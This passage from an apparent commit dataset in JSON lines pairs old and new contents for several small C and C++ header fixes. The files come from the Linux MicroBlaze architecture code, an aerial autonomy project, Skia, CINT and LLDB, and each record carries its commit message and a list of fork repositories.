Cocoa,kevin-zqw\/ReactiveCocoa,esttorhe\/ReactiveCocoa,Juraldinio\/ReactiveCocoa,buildo\/ReactiveCocoa,Ray0218\/ReactiveCocoa,SmartEncounter\/ReactiveCocoa,longv2go\/ReactiveCocoa,RuiAAPeres\/ReactiveCocoa,luerhouhou\/ReactiveCocoa,335g\/ReactiveCocoa,koamac\/ReactiveCocoa,natestedman\/ReactiveCocoa,msdgwzhy6\/ReactiveCocoa,DongDongDongDong\/ReactiveCocoa,Adlai-Holler\/ReactiveCocoa,fhchina\/ReactiveCocoa,yangyangluoluo\/ReactiveCocoa,jrmiddle\/ReactiveCocoa,dachaoisme\/ReactiveCocoa,SanChain\/ReactiveCocoa,AlanJN\/ReactiveCocoa,libiao88\/ReactiveCocoa,hj3938\/ReactiveCocoa,goodheart\/ReactiveCocoa,fhchina\/ReactiveCocoa,xiaoliyang\/ReactiveCocoa,on99\/ReactiveCocoa,335g\/ReactiveCocoa,pzw224\/ReactiveCocoa,dullgrass\/ReactiveCocoa,liufeigit\/ReactiveCocoa,kaylio\/ReactiveCocoa,xiaoliyang\/ReactiveCocoa,Khan\/ReactiveCocoa,swizzlr\/ReactiveCocoa,Rupert-RR\/ReactiveCocoa,cnbin\/ReactiveCocoa,tzongw\/ReactiveCocoa,GuitarPlayer-Ma\/ReactiveCocoa,lixar\/ReactiveCocoa,hoanganh6491\/ReactiveCocoa,loupman\/ReactiveCocoa,natestedman\/ReactiveCocoa,tornade0913\/ReactiveCocoa,shaohung001\/ReactiveCocoa,zhenlove\/ReactiveCocoa,Khan\/ReactiveCocoa,zzzworm\/ReactiveCocoa,xumaolin\/ReactiveCocoa,takeshineshiro\/ReactiveCocoa,Ethan89\/ReactiveCocoa,fanghao085\/ReactiveCocoa,SuPair\/ReactiveCocoa,hilllinux\/ReactiveCocoa,add715\/ReactiveCocoa,ceekayel\/ReactiveCocoa,hilllinux\/ReactiveCocoa,stevielu\/ReactiveCocoa,Ethan89\/ReactiveCocoa,hoanganh6491\/ReactiveCocoa,richeterre\/ReactiveCocoa,tonyarnold\/ReactiveCocoa,OneSmallTree\/ReactiveCocoa,yonekawa\/ReactiveCocoa,stevielu\/ReactiveCocoa,ailyanlu\/ReactiveCocoa,tonyli508\/ReactiveCocoa,ailyanlu\/ReactiveCocoa,eyu1988\/ReactiveCocoa,yoichitgy\/ReactiveCocoa,jaylib\/ReactiveCocoa,smilypeda\/ReactiveCocoa,Farteen\/ReactiveCocoa,xumaolin\/ReactiveCocoa,ztchena\/ReactiveCocoa,leichunfeng\/ReactiveCocoa,BrooksWon\/ReactiveCocoa,itschaitanya\/ReactiveCocoa,howandhao\/ReactiveCocoa,bscarano\/ReactiveCocoa,almassapargali\/ReactiveCocoa,sujeking\/ReactiveCocoa,eliperkins\/ReactiveCocoa,buildo\/ReactiveCocoa,jeelun\/ReactiveCocoa,ddc391565320\/ReactiveCocoa,longv2go\/ReactiveCocoa,huiping192\/ReactiveCocoa,leelili\/ReactiveCocoa,yaoxiaoyong\/ReactiveCocoa,dachaoisme\/ReactiveCocoa,towik\/ReactiveCocoa,liufeigit\/ReactiveCocoa,DreamHill\/ReactiveCocoa,pzw224\/ReactiveCocoa,lixar\/ReactiveCocoa,tipbit\/ReactiveCocoa,DreamHill\/ReactiveCocoa,bencochran\/ReactiveCocoa,yoichitgy\/ReactiveCocoa,DongDongDongDong\/ReactiveCocoa,chao95957\/ReactiveCocoa,200895045\/ReactiveCocoa,tornade0913\/ReactiveCocoa,eliperkins\/ReactiveCocoa,ztchena\/ReactiveCocoa,OneSmallTree\/ReactiveCocoa,xumaolin\/ReactiveCocoa,sugar2010\/ReactiveCocoa,walkingsmarts\/ReactiveCocoa,llb1119\/test,AllanChen\/ReactiveCocoa,sdhzwm\/ReactiveCocoa,tonyli508\/ReactiveCocoa,xulibao\/ReactiveCocoa,Ricowere\/ReactiveCocoa,xulibao\/ReactiveCocoa,llb1119\/test,jianwoo\/ReactiveCocoa,BlessNeo\/ReactiveCocoa,KJin99\/ReactiveCocoa,bscarano\/ReactiveCocoa,nickcheng\/ReactiveCocoa,ioshger0125\/ReactiveCocoa,gabemdev\/ReactiveCocoa,sugar2010\/ReactiveCocoa,AndyZhaoHe\/ReactiveCocoa,sugar2010\/ReactiveCocoa,hilllinux\/ReactiveCocoa,bensonday\/ReactiveCocoa,OnTheWay1988\/ReactiveCocoa,CCOOOOLL\/ReactiveCocoa,RuiAAPeres\/ReactiveCocoa,emodeqidao\/ReactiveCocoa,zhiwen1024\/ReactiveCocoa,beni55\/ReactiveCocoa,ShawnLeee\/ReactiveCocoa,icepy\/ReactiveCocoa,luerhouhou\/ReactiveCocoa,OneSmallTree\/ReactiveCocoa,yaoxiaoyong\/ReactiveCocoa,kaylio\/ReactiveCocoa,gengjf\/ReactiveCocoa,ddc391565320\/ReactiveCocoa,sujeking\/ReactiveCocoa,SanChain\/ReactiveCocoa,leelili\/ReactiveCocoa,BlessNeo\/ReactiveCocoa,alvinvarghese\/ReactiveCocoa,clg0118\/ReactiveCocoa,huiping192\/ReactiveCocoa,KJin99\/ReactiveCocoa,zhenlove\/ReactiveCocoa,jaylib\/ReactiveCocoa,windgo\/ReactiveCocoa,sdhzwm\/ReactiveCocoa,ikesyo\/ReactiveCocoa,stevielu\/ReactiveCocoa,leichunfeng\/ReactiveCocoa,mtxs007\/ReactiveCocoa,clg0118\/ReactiveCocoa,smilypeda\/ReactiveCocoa,kevin-zqw\/ReactiveCocoa,wangqi211\/ReactiveCocoa,mxxiv\/ReactiveCocoa,xiaobing2007\/ReactiveCocoa,yytong\/ReactiveCocoa,windgo\/ReactiveCocoa,200895045\/ReactiveCocoa,hj3938\/ReactiveCocoa,rpowelll\/ReactiveCocoa,chao95957\/ReactiveCocoa,msdgwzhy6\/ReactiveCocoa,kiurentu\/ReactiveCocoa,Remitly\/ReactiveCocoa,OnTheWay1988\/ReactiveCocoa,stupidfive\/ReactiveCocoa,zhigang1992\/ReactiveCocoa,zzqiltw\/ReactiveCocoa,Pingco\/ReactiveCocoa,xulibao\/ReactiveCocoa,eyu1988\/ReactiveCocoa,ohwutup\/ReactiveCocoa,rpowelll\/ReactiveCocoa,BlessNeo\/ReactiveCocoa,Remitly\/ReactiveCocoa,zzqiltw\/ReactiveCocoa,Remitly\/ReactiveCocoa,sandyway\/ReactiveCocoa,juliangrosshauser\/ReactiveCocoa,calebd\/ReactiveCocoa,LHDsimon\/ReactiveCocoa,leelili\/ReactiveCocoa,andersio\/ReactiveCocoa,terry408911\/ReactiveCocoa,Pikdays\/ReactiveCocoa,monkeydbobo\/ReactiveCocoa,add715\/ReactiveCocoa,yytong\/ReactiveCocoa,jam891\/ReactiveCocoa,Pikdays\/ReactiveCocoa,Ray0218\/ReactiveCocoa,paulyoung\/ReactiveCocoa,FelixYin66\/ReactiveCocoa,brasbug\/ReactiveCocoa,tiger8888\/ReactiveCocoa,bensonday\/ReactiveCocoa,monkeydbobo\/ReactiveCocoa,jaylib\/ReactiveCocoa,JackLian\/ReactiveCocoa,icepy\/ReactiveCocoa,AlanJN\/ReactiveCocoa,jackywpy\/ReactiveCocoa,ericzhou2008\/ReactiveCocoa,hoanganh6491\/ReactiveCocoa,yangshengchaoios\/ReactiveCocoa,luerhouhou\/ReactiveCocoa,ShawnLeee\/ReactiveCocoa,valleyman86\/ReactiveCocoa,yangshengchaoios\/ReactiveCocoa,ceekayel\/ReactiveCocoa,xiaobing2007\/ReactiveCocoa,imkerberos\/ReactiveCocoa,zhaoguohui\/ReactiveCocoa,libiao88\/ReactiveCocoa,AndyZhaoHe\/ReactiveCocoa,cstars135\/ReactiveCocoa,Pikdays\/ReactiveCocoa,AlanJN\/ReactiveCocoa,natan\/ReactiveCocoa,tiger8888\/ReactiveCocoa,Adlai-Holler\/ReactiveCocoa,towik\/ReactiveCocoa,bencochran\/ReactiveCocoa,ohwutup\/ReactiveCocoa,esttorhe\/ReactiveCocoa,gengjf\/ReactiveCocoa,howandhao\/ReactiveCocoa,koamac\/ReactiveCocoa,zhaoguohui\/ReactiveCocoa,zxq3220122\/ReactiveCocoa,JohnJin007\/ReactiveCocoa,Rupert-RR\/ReactiveCocoa,LHDsimon\/ReactiveCocoa,JackLian\/ReactiveCocoa,bencochran\/ReactiveCocoa,kevin-zqw\/ReactiveCocoa,mtxs007\/ReactiveCocoa,tornade0913\/ReactiveCocoa,zzzworm\/ReactiveCocoa,pzw224\/ReactiveCocoa,imkerberos\/ReactiveCocoa,dullgrass\/ReactiveCocoa,BrooksWon\/ReactiveCocoa,victorlin\/ReactiveCocoa,dullgrass\/ReactiveCocoa,Carthage\/ReactiveCocoa,natan\/ReactiveCocoa,sandyway\/ReactiveCocoa,fanghao085\/ReactiveCocoa,dz1111\/ReactiveCocoa,mxxiv\/ReactiveCocoa"}
{"commit":"64aff1d651f06206a181e9a3883da913edf43b77","old_file":"arch\/microblaze\/include\/asm\/sections.h","new_file":"arch\/microblaze\/include\/asm\/sections.h","old_contents":"\/*\n * Copyright (C) 2008-2009 Michal Simek <monstr@monstr.eu>\n * Copyright (C) 2008-2009 PetaLogix\n * Copyright (C) 2006 Atmark Techno, Inc.\n *\n * This file is subject to the terms and conditions of the GNU General Public\n * License. See the file \"COPYING\" in the main directory of this archive\n * for more details.\n *\/\n\n#ifndef _ASM_MICROBLAZE_SECTIONS_H\n#define _ASM_MICROBLAZE_SECTIONS_H\n\n#include <asm-generic\/sections.h>\n\n# ifndef __ASSEMBLY__\nextern char _ssbss[], _esbss[];\nextern unsigned long __ivt_start[], __ivt_end[];\nextern char _etext[], _stext[];\n\nextern u32 _fdt_start[], _fdt_end[];\n\n# endif \/* !__ASSEMBLY__ *\/\n#endif \/* _ASM_MICROBLAZE_SECTIONS_H *\/\n","new_contents":"\/*\n * Copyright (C) 2008-2009 Michal Simek <monstr@monstr.eu>\n * Copyright (C) 2008-2009 PetaLogix\n * Copyright (C) 2006 Atmark Techno, Inc.\n *\n * This file is subject to the terms and conditions of the GNU General Public\n * License. See the file \"COPYING\" in the main directory of this archive\n * for more details.\n *\/\n\n#ifndef _ASM_MICROBLAZE_SECTIONS_H\n#define _ASM_MICROBLAZE_SECTIONS_H\n\n#include <asm-generic\/sections.h>\n\n# ifndef __ASSEMBLY__\nextern char _ssbss[], _esbss[];\nextern unsigned long __ivt_start[], __ivt_end[];\n\nextern u32 _fdt_start[], _fdt_end[];\n\n# endif \/* !__ASSEMBLY__ *\/\n#endif \/* _ASM_MICROBLAZE_SECTIONS_H *\/\n","subject":"Remove duplicate declarations of _stext[] and _etext[]","message":"microblaze: Remove duplicate declarations of _stext[] and _etext[]\n\nThey're already provided by <asm\/sections.h>.\n\nSigned-off-by: Geert Uytterhoeven <0da414d9d963da4039c2a0525b1844228075aa58@linux-m68k.org>\nCc: Michal Simek <3a191dd2be46e826fee926d532b136ed65cb5318@monstr.eu>\nCc: 1969c2f5333fcd29c58e45a80778895ee5b1b5bd@itee.uq.edu.au\nSigned-off-by: Michal Simek <b20e59da6aeb5cea6c82b021069d69f63616c55d@xilinx.com>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"43c6135208bd4f7a182ac3d871039d804ecc0f88","old_file":"include\/aerial_autonomy\/actions_guards\/hovering_functors.h","new_file":"include\/aerial_autonomy\/actions_guards\/hovering_functors.h","old_contents":"#pragma once\n#include <aerial_autonomy\/actions_guards\/base_functors.h>\n#include <aerial_autonomy\/basic_events.h>\n#include <aerial_autonomy\/logic_states\/base_state.h>\n#include <aerial_autonomy\/robot_systems\/uav_system.h>\n#include <parsernode\/common.h>\n\n\/**\n* @brief Internal action when hovering.\n*\n* @tparam LogicStateMachineT Logic state machine used to process events\n*\/\ntemplate <class LogicStateMachineT>\nstruct HoveringInternalActionFunctor_\n    : EventAgnosticActionFunctor<UAVSystem, LogicStateMachineT> {\n  \/**\n  * @brief Checks for enough battery voltage and land if battery critical\n  *\n  * @param robot_system robot system to get sensor data\n  * @param logic_state_machine logic state machine to trigger events\n  *\/\n  void run(UAVSystem &robot_system, LogicStateMachineT &logic_state_machine) {\n    parsernode::common::quaddata data = robot_system.getUAVData();\n    \/\/ Transition to hovering state once reached high altitude\n    \/\/ Can also use uav status here TODO (Gowtham)\n    if (data.batterypercent < 40) {\n      logic_state_machine.process_event(Land());\n    }\n  }\n};\n\n\/**\n* @brief Hovering state that uses internal action\n*\n* @tparam LogicStateMachineT Logic state machine used to process events\n*\/\ntemplate <class LogicStateMachineT>\nusing Hovering_ = BaseState<UAVSystem, LogicStateMachineT,\n                            HoveringInternalActionFunctor_<LogicStateMachineT>>;\n","new_contents":"#pragma once\n#include <aerial_autonomy\/actions_guards\/base_functors.h>\n#include <aerial_autonomy\/basic_events.h>\n#include <aerial_autonomy\/logic_states\/base_state.h>\n#include <aerial_autonomy\/robot_systems\/uav_system.h>\n#include <parsernode\/common.h>\n\nusing namespace basic_events;\n\n\/**\n* @brief Internal action when hovering.\n*\n* @tparam LogicStateMachineT Logic state machine used to process events\n*\/\ntemplate <class LogicStateMachineT>\nstruct HoveringInternalActionFunctor_\n    : EventAgnosticActionFunctor<UAVSystem, LogicStateMachineT> {\n  \/**\n  * @brief Checks for enough battery voltage and land if battery critical\n  *\n  * @param robot_system robot system to get sensor data\n  * @param logic_state_machine logic state machine to trigger events\n  *\/\n  void run(UAVSystem &robot_system, LogicStateMachineT &logic_state_machine) {\n    parsernode::common::quaddata data = robot_system.getUAVData();\n    \/\/ Transition to hovering state once reached high altitude\n    \/\/ Can also use uav status here TODO (Gowtham)\n    if (data.batterypercent < 40) {\n      logic_state_machine.process_event(Land());\n    }\n  }\n};\n\n\/**\n* @brief Hovering state that uses internal action\n*\n* @tparam LogicStateMachineT Logic state machine used to process events\n*\/\ntemplate <class LogicStateMachineT>\nusing Hovering_ = BaseState<UAVSystem, LogicStateMachineT,\n                            HoveringInternalActionFunctor_<LogicStateMachineT>>;\n","subject":"Fix bug to avoid compilation failure","message":"Fix bug to avoid compilation failure\n\nThe namespace basic_events is missing hovering_functors file\n","lang":"C","license":"mpl-2.0","repos":"jhu-asco\/aerial_autonomy,jhu-asco\/aerial_autonomy,jhu-asco\/aerial_autonomy,jhu-asco\/aerial_autonomy,jhu-asco\/aerial_autonomy,jhu-asco\/aerial_autonomy"}
{"commit":"9866c2c2d649fac485bc47aa77cffbc93d1c6c9e","old_file":"gpu\/include\/GrGLConfig_chrome.h","new_file":"gpu\/include\/GrGLConfig_chrome.h","old_contents":"#ifndef GrGLConfig_chrome_DEFINED\n#define GrGLConfig_chrome_DEFINED\n\n#define GR_SUPPORT_GLES2    1\n\n\/\/ gl2ext.h will define these extensions macros but Chrome doesn't provide\n\/\/ prototypes.\n#define GL_OES_mapbuffer                      0\n\n#define GR_GL_PLATFORM_HEADER       <GLES2\/gl2.h>\n#define GR_GL_PLATFORM_HEADER_EXT   <GLES2\/gl2ext.h>\n\n#define GR_GL_FUNCTION_TYPE\n\n#define GR_GL_PROC_ADDRESS(X)       &X\n\n\/\/ chrome always assumes BGRA\n#define GR_GL_32BPP_COLOR_FORMAT    GR_BGRA\n\n\/\/ glGetError() forces a sync with gpu process on chrome\n#define GR_GL_CHECK_ERROR_START     0\n\n#endif\n","new_contents":"#ifndef GrGLConfig_chrome_DEFINED\n#define GrGLConfig_chrome_DEFINED\n\n#define GR_SUPPORT_GLES2    1\n\n\/\/ gl2ext.h will define these extensions macros but Chrome doesn't provide\n\/\/ prototypes.\n#define GL_OES_mapbuffer                      0\n\n#define GR_GL_PLATFORM_HEADER       <GLES2\/gl2.h>\n#define GR_GL_PLATFORM_HEADER_EXT   <GLES2\/gl2ext.h>\n\n#define GR_GL_FUNCTION_TYPE\n\n#define GR_GL_PROC_ADDRESS(X)       &X\n\n\/\/ chrome always assumes BGRA\n#define GR_GL_32BPP_COLOR_FORMAT    GR_GL_BGRA\n\n\/\/ glGetError() forces a sync with gpu process on chrome\n#define GR_GL_CHECK_ERROR_START     0\n\n#endif\n","subject":"Fix macro in Chrome's GL config file","message":"Fix macro in Chrome's GL config file\n\nReview URL: http:\/\/codereview.appspot.com\/4308041\/\n\n\ngit-svn-id: e8541e15acce502a64c929015570ad1648e548cd@980 2bbb7eff-a529-9590-31e7-b0007b416f81\n","lang":"C","license":"bsd-3-clause","repos":"Cue\/skia,Frankie-666\/color-emoji.skia,MatChung\/color-emoji.skia,Cue\/skia,mrobinson\/skia,metajack\/skia,Frankie-666\/color-emoji.skia,MatChung\/color-emoji.skia,Frankie-666\/color-emoji.skia,metajack\/skia,hbwhlklive\/color-emoji.skia,hbwhlklive\/color-emoji.skia,Hankuo\/color-emoji.skia,hbwhlklive\/color-emoji.skia,Hankuo\/color-emoji.skia,Frankie-666\/color-emoji.skia,Hankuo\/color-emoji.skia,MatChung\/color-emoji.skia,hbwhlklive\/color-emoji.skia,MatChung\/color-emoji.skia,Hankuo\/color-emoji.skia,Cue\/skia,Frankie-666\/color-emoji.skia,mrobinson\/skia,MatChung\/color-emoji.skia,metajack\/skia,Hankuo\/color-emoji.skia,hbwhlklive\/color-emoji.skia,MatChung\/color-emoji.skia,Hankuo\/color-emoji.skia,hbwhlklive\/color-emoji.skia,Cue\/skia,Frankie-666\/color-emoji.skia,metajack\/skia,mrobinson\/skia,mrobinson\/skia,mrobinson\/skia"}
{"commit":"226a53d3acd7c4cfd63cd391ae9189886c6744e9","old_file":"cint\/inc\/cintdictversion.h","new_file":"cint\/inc\/cintdictversion.h","old_contents":"","new_contents":"\/***********************************************************************\n * cint (C\/C++ interpreter)\n ************************************************************************\n * CINT header file cintdictversion.h\n ************************************************************************\n * Description:\n *  definition of the dictionary API version\n ************************************************************************\n * Copyright(c) 1995~2008  Masaharu Goto (cint@pcroot.cern.ch)\n *\n * For the licensing terms see the file COPYING\n *\n ************************************************************************\/\n\n#ifndef INCLUDE_CINTDICTVERSION\n#define INCLUDE_CINTDICTVERSION\n\n#define G__CINTDICTVERSION 2008-01-21\n\n#endif \/* INCLUDE_CINTDICTVERSION *\/\n","subject":"Add a tag (dummy) header file that will be updated whenever CINT's dictionaries need to be regenerated.","message":"Add a tag (dummy) header file that will be updated whenever CINT's dictionaries need to be regenerated.\n\n\ngit-svn-id: acec3fd5b7ea1eb9e79d6329d318e8118ee2e14f@21793 27541ba8-7e3a-0410-8455-c3a389f83636\n","lang":"C","license":"lgpl-2.1","repos":"gganis\/root,root-mirror\/root,abhinavmoudgil95\/root,vukasinmilosevic\/root,gbitzes\/root,bbockelm\/root,zzxuanyuan\/root,abhinavmoudgil95\/root,karies\/root,beniz\/root,georgtroska\/root,olifre\/root,olifre\/root,ffurano\/root5,davidlt\/root,lgiommi\/root,zzxuanyuan\/root-compressor-dummy,beniz\/root,agarciamontoro\/root,mkret2\/root,tc3t\/qoot,cxx-hep\/root-cern,root-mirror\/root,krafczyk\/root,simonpf\/root,sawenzel\/root,simonpf\/root,omazapa\/root-old,sawenzel\/root,sirinath\/root,dfunke\/root,vukasinmilosevic\/root,mhuwiler\/rootauto,Y--\/root,gganis\/root,Dr15Jones\/root,zzxuanyuan\/root-compressor-dummy,abhinavmoudgil95\/root,mhuwiler\/rootauto,cxx-hep\/root-cern,olifre\/root,cxx-hep\/root-cern,arch1tect0r\/root,lgiommi\/root,vukasinmilosevic\/root,mattkretz\/root,cxx-hep\/root-cern,BerserkerTroll\/root,kirbyherm\/root-r-tools,karies\/root,tc3t\/qoot,evgeny-boger\/root,zzxuanyuan\/root,gbitzes\/root,agarciamontoro\/root,Duraznos\/root,olifre\/root,0x0all\/ROOT,strykejern\/TTreeReader,bbockelm\/root,olifre\/root,dfunke\/root,veprbl\/root,cxx-hep\/root-cern,esakellari\/my_root_for_test,sirinath\/root,esakellari\/root,esakellari\/root,sawenzel\/root,evgeny-boger\/root,Duraznos\/root,mkret2\/root,agarciamontoro\/root,dfunke\/root,omazapa\/root,mkret2\/root,Y--\/root,omazapa\/root,vukasinmilosevic\/root,georgtroska\/root,thomaskeck\/root,jrtomps\/root,buuck\/root,smarinac\/root,esakellari\/my_root_for_test,sirinath\/root,mattkretz\/root,perovic\/root,smarinac\/root,sbinet\/cxx-root,mattkretz\/root,georgtroska\/root,root-mirror\/root,buuck\/root,smarinac\/root,abhinavmoudgil95\/root,davidlt\/root,esakellari\/root,sawenzel\/root,omazapa\/root,satyarth934\/root,bbockelm\/root,krafczyk\/root,lgiommi\/root,krafczyk\/root,davidlt\/root,nilqed\/root,zzxuanyuan\/root-compressor-dummy,sbinet\/cxx-root,mkret2\/root,olifre\/root,gbitzes\/root,beniz\/root,buuck\/root,gganis\/root,nilqed\/root,buuck\/root,krafczyk\/root,olifre\/root,agarciamontoro\/root,nilqed\/root,root-mirror\/root,bbockelm\/root,sbinet\/cxx-root,karies\/root,mhuwiler\/rootauto,beniz\/root,thomaskeck\/root,esakellari\/root,jrtomps\/root,mattkretz\/root,smarinac\/root,jrtomps\/root,Dr15Jones\/root,jrtomps\/root,georgtroska\/root,kirbyherm\/root-r-tools,Duraznos\/root,agarciamontoro\/root,Duraznos\/root,omazapa\/root-old,bbockelm\/root,abhinavmoudgil95\/root,omazapa\/root-old,beniz\/root,mhuwiler\/rootauto,abhinavmoudgil95\/root,sirinath\/root,smarinac\/root,jrtomps\/root,sbinet\/cxx-root,perovic\/root,alexschlueter\/cern-root,BerserkerTroll\/root,arch1tect0r\/root,CristinaCristescu\/root,Duraznos\/root,veprbl\/root,davidlt\/root,ffurano\/root5,buuck\/root,BerserkerTroll\/root,CristinaCristescu\/root,tc3t\/qoot,zzxuanyuan\/root-compressor-dummy,mkret2\/root,jrtomps\/root,vukasinmilosevic\/root,sbinet\/cxx-root,alexschlueter\/cern-root,nilqed\/root,0x0all\/ROOT,beniz\/root,Y--\/root,lgiommi\/root,veprbl\/root,georgtroska\/root,abhinavmoudgil95\/root,sirinath\/root,Y--\/root,bbockelm\/root,lgiommi\/root,omazapa\/root-old,davidlt\/root,lgiommi\/root,georgtroska\/root,gganis\/root,simonpf\/root,BerserkerTroll\/root,sawenzel\/root,gbitzes\/root,georgtroska\/root,sbinet\/cxx-root,abhinavmoudgil95\/root,abhinavmoudgil95\/root,arch1tect0r\/root,sirinath\/root,bbockelm\/root,esakellari\/my_root_for_test,BerserkerTroll\/root,zzxuanyuan\/root,Duraznos\/root,Dr15Jones\/root,gganis\/root,Duraznos\/root,sirinath\/root,olifre\/root,CristinaCristescu\/root,cxx-hep\/root-cern,thomaskeck\/root,nilqed\/root,omazapa\/root,0x0all\/ROOT,omazapa\/root,gbitzes\/root,buuck\/root,pspe\/root,krafczyk\/root,beniz\/root,root-mirror\/root,davidlt\/root,0x0all\/ROOT,lgiommi\/root,strykejern\/TTreeReader,mkret2\/root,omazapa\/root-old,georgtroska\/root,evgeny-boger\/root,zzxuanyuan\/root,gganis\/root,jrtomps\/root,sawenzel\/root,bbockelm\/root,lgiommi\/root,0x0all\/ROOT,davidlt\/root,sawenzel\/root,zzxuanyuan\/root-compressor-dummy,perovic\/root,zzxuanyuan\/root-compressor-dummy,zzxuanyuan\/root,mattkretz\/root,root-mirror\/root,beniz\/root,tc3t\/qoot,ffurano\/root5,mkret2\/root,tc3t\/qoot,evgeny-boger\/root,abhinavmoudgil95\/root,veprbl\/root,gganis\/root,sawenzel\/root,esakellari\/my_root_for_test,omazapa\/root-old,kirbyherm\/root-r-tools,zzxuanyuan\/root-compressor-dummy,evgeny-boger\/root,jrtomps\/root,kirbyherm\/root-r-tools,mattkretz\/root,beniz\/root,zzxuanyuan\/root-compressor-dummy,CristinaCristescu\/root,tc3t\/qoot,buuck\/root,cxx-hep\/root-cern,veprbl\/root,jrtomps\/root,satyarth934\/root,omazapa\/root-old,veprbl\/root,esakellari\/root,kirbyherm\/root-r-tools,simonpf\/root,smarinac\/root,mhuwiler\/rootauto,gbitzes\/root,agarciamontoro\/root,vukasinmilosevic\/root,Y--\/root,zzxuanyuan\/root,zzxuanyuan\/root,dfunke\/root,olifre\/root,sbinet\/cxx-root,omazapa\/root,arch1tect0r\/root,thomaskeck\/root,pspe\/root,sbinet\/cxx-root,mhuwiler\/rootauto,sirinath\/root,CristinaCristescu\/root,mhuwiler\/rootauto,BerserkerTroll\/root,0x0all\/ROOT,krafczyk\/root,tc3t\/qoot,kirbyherm\/root-r-tools,simonpf\/root,BerserkerTroll\/root,sawenzel\/root,buuck\/root,lgiommi\/root,gbitzes\/root,0x0all\/ROOT,omazapa\/root-old,esakellari\/my_root_for_test,krafczyk\/root,zzxuanyuan\/root,bbockelm\/root,CristinaCristescu\/root,zzxuanyuan\/root,evgeny-boger\/root,BerserkerTroll\/root,mhuwiler\/rootauto,tc3t\/qoot,perovic\/root,georgtroska\/root,agarciamontoro\/root,BerserkerTroll\/root,evgeny-boger\/root,CristinaCristescu\/root,sbinet\/cxx-root,karies\/root,satyarth934\/root,omazapa\/root,esakellari\/root,zzxuanyuan\/root-compressor-dummy,simonpf\/root,veprbl\/root,dfunke\/root,Dr15Jones\/root,strykejern\/TTreeReader,vukasinmilosevic\/root,Y--\/root,zzxuanyuan\/root-compressor-dummy,gganis\/root,nilqed\/root,esakellari\/root,root-mirror\/root,veprbl\/root,gbitzes\/root,arch1tect0r\/root,agarciamontoro\/root,satyarth934\/root,thomaskeck\/root,Y--\/root,dfunke\/root,0x0all\/ROOT,mattkretz\/root,vukasinmilosevic\/root,dfunke\/root,veprbl\/root,perovic\/root,sbinet\/cxx-root,thomaskeck\/root,davidlt\/root,tc3t\/qoot,omazapa\/root-old,satyarth934\/root,beniz\/root,pspe\/root,simonpf\/root,root-mirror\/root,dfunke\/root,root-mirror\/root,esakellari\/my_root_for_test,simonpf\/root,beniz\/root,simonpf\/root,krafczyk\/root,smarinac\/root,pspe\/root,smarinac\/root,pspe\/root,sbinet\/cxx-root,pspe\/root,satyarth934\/root,zzxuanyuan\/root-compressor-dummy,alexschlueter\/cern-root,karies\/root,omazapa\/root-old,agarciamontoro\/root,bbockelm\/root,georgtroska\/root,perovic\/root,arch1tect0r\/root,alexschlueter\/cern-root,gganis\/root,smarinac\/root,esakellari\/my_root_for_test,ffurano\/root5,gbitzes\/root,abhinavmoudgil95\/root,Dr15Jones\/root,tc3t\/qoot,mkret2\/root,CristinaCristescu\/root,esakellari\/my_root_for_test,arch1tect0r\/root,omazapa\/root-old,root-mirror\/root,dfunke\/root,mattkretz\/root,omazapa\/root,Y--\/root,karies\/root,evgeny-boger\/root,olifre\/root,gbitzes\/root,ffurano\/root5,satyarth934\/root,bbockelm\/root,pspe\/root,mattkretz\/root,buuck\/root,lgiommi\/root,sirinath\/root,zzxuanyuan\/root,zzxuanyuan\/root,agarciamontoro\/root,evgeny-boger\/root,smarinac\/root,olifre\/root,alexschlueter\/cern-root,esakellari\/my_root_for_test,nilqed\/root,buuck\/root,kirbyherm\/root-r-tools,BerserkerTroll\/root,thomaskeck\/root,evgeny-boger\/root,mkret2\/root,karies\/root,esakellari\/root,strykejern\/TTreeReader,ffurano\/root5,satyarth934\/root,mhuwiler\/rootauto,zzxuanyuan\/root,mattkretz\/root,davidlt\/root,arch1tect0r\/root,gbitzes\/root,sirinath\/root,satyarth934\/root,mhuwiler\/rootauto,perovic\/root,perovic\/root,Duraznos\/root,strykejern\/TTreeReader,karies\/root,evgeny-boger\/root,pspe\/root,veprbl\/root,0x0all\/ROOT,sirinath\/root,alexschlueter\/cern-root,davidlt\/root,perovic\/root,vukasinmilosevic\/root,karies\/root,alexschlueter\/cern-root,satyarth934\/root,esakellari\/my_root_for_test,pspe\/root,Dr15Jones\/root,Dr15Jones\/root,esakellari\/root,buuck\/root,CristinaCristescu\/root,dfunke\/root,omazapa\/root,nilqed\/root,Duraznos\/root,mhuwiler\/rootauto,krafczyk\/root,Y--\/root,cxx-hep\/root-cern,davidlt\/root,thomaskeck\/root,perovic\/root,karies\/root,mkret2\/root,agarciamontoro\/root,esakellari\/root,mattkretz\/root,Y--\/root,satyarth934\/root,karies\/root,simonpf\/root,krafczyk\/root,thomaskeck\/root,dfunke\/root,CristinaCristescu\/root,Duraznos\/root,sawenzel\/root,georgtroska\/root,Duraznos\/root,pspe\/root,jrtomps\/root,vukasinmilosevic\/root,krafczyk\/root,veprbl\/root,root-mirror\/root,Y--\/root,perovic\/root,strykejern\/TTreeReader,BerserkerTroll\/root,sawenzel\/root,nilqed\/root,arch1tect0r\/root,nilqed\/root,gganis\/root,jrtomps\/root,gganis\/root,vukasinmilosevic\/root,ffurano\/root5,omazapa\/root,thomaskeck\/root,pspe\/root,lgiommi\/root,omazapa\/root,arch1tect0r\/root,esakellari\/root,simonpf\/root,arch1tect0r\/root,mkret2\/root,CristinaCristescu\/root,nilqed\/root,strykejern\/TTreeReader"}
{"commit":"cfbfb1a84ddf81436e086c6f45cb6608b7c1b656","old_file":"include\/lldb\/Symbol\/VerifyDecl.h","new_file":"include\/lldb\/Symbol\/VerifyDecl.h","old_contents":"\/\/===-- VerifyDecl.h --------------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef lldb_VariableList_h_\n#define lldb_VariableList_h_\n\n#include \"ClangForward.h\"\n\nnamespace lldb_private\n{\n    void VerifyDecl (clang::Decl *decl);\n}\n\n#endif\n","new_contents":"\/\/===-- VerifyDecl.h --------------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of 